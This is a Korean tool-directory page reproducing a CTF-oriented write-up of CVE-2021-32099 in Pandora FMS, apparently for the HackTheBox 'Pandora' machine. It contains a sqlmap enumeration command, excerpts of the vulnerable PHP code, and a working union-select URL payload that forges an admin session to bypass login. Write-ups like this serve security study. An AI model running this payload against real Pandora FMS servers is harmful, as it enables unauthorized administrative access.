Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2021-32099_SQLi — CVE-2021-32099 SQL 인젝션으로 공격자가 로그인을 우회할 수 있습니다. HTB에서 보내는 사랑을 담아 | Kitploit
도구/GitHubGitHub/l3eol3eo/cve-2021-32099_sqli
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration Testing
GitHubl3eol3eo/cve-2021-32099_sqli

CVE-2021-32099_SQLi

CVE-2021-32099 SQL 인젝션으로 공격자가 로그인을 우회할 수 있습니다. HTB에서 보내는 사랑을 담아

저장소 보기
714년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2021-32099 SQLi 로그인 우회

Pandora.htb에서 User Flag를 읽으려고 할 때 유용합니다.

CVE-2021-32099 SQLi는 공격자가 로그인을 우회할 수 있게 합니다.

대상

공격 대상: Pandora FMS v7.0NG.742_FIX_PERL2020

분석

cvedetail에서 읽어보세요. 대상 엔드포인트를 알고 있습니다: http://localhost:8000/pandora_console/include/chart_generator.php?session_id=PayloadHere => Access denied.

alt text sqlmap -r req.txt -p session_id --dbms=mysql --dbs --risk=3 --level=5

열거 후, 우리는 tsessions_php 테이블에만 집중합니다. tsessions_php에는 3개의 컬럼이 있습니다: id_session, last_active, data. (sqlmap의 결과 형식이 잘못됨)

alt text

/include/chart_generator.php

root@kitploit:~
71  // Try to initialize session using existing php session id.
72  $user = new PandoraFMS\User(['phpsessionid' => $_REQUEST['session_id']]);
73  if (check_login(false) === false) {   
74     // Error handler.
 ⋮
96  }
97
98  // Access granted.
  • phpsessionid에는 session_id (PayloadHere)의 값이 할당됩니다.

/include/lib/User.php

root@kitploit:~
60  public function __construct($data)
61  {
 ⋮
68     if (is_array($data) === true) {
69        if (isset($data['phpsessionid']) === true) {
70           $this->sessions[$data['phpsessionid']] = 1;
71           $info = \db_get_row_filter(
72              'tsessions_php',
73              ['id_session' => $data['phpsessionid']]
74          );
75
76         if ($info !== false) {
77            // Process.
78            $session_data = session_decode($info['data']);
79            $this->idUser = $_SESSION['id_usuario'];
80
81            // Valid session.
82            return $this;
83         }
  • id_session에는 phpsessionid의 값이 할당됩니다.
  • 모든 코드는 다음 쿼리를 제공합니다: select * from tsessions_php where id_session=***PayloadHere***

/include/lib/db/mysql.php

root@kitploit:~
848  function db_get_row_filter($table, $filter, $fields=false)
849  {  
850     if (empty($fields)) {
851         $fields = '*';
852     }
 ⋮
861     $filter = db_format_array_where_clause_sql($filter, ' WHERE ');
 ⋮
868     $sql = sprintf('SELECT %s FROM %s %s', $fields, $table, $filter);

POC:

http://localhost:8000/pandora_console/include/chart_generator.php?session_id=PayloadHere%27%20union%20select%20%271%27,%272%27,%27id_usuario|s:5:%22admin%22;%27%20--%20a => Pandora FMS Graph ( - )

새로고침: http://localhost:8000/pandora_console/ 웹페이지에 접속합니다.

참고 자료:

https://blog.sonarsource.com/pandora-fms-742-critical-code-vulnerabilities-explained

https://portswigger.net/daily-swig/multiple-vulnerabilities-in-pandora-fms-could-trigger-remote-execution-attack

도구 다운로드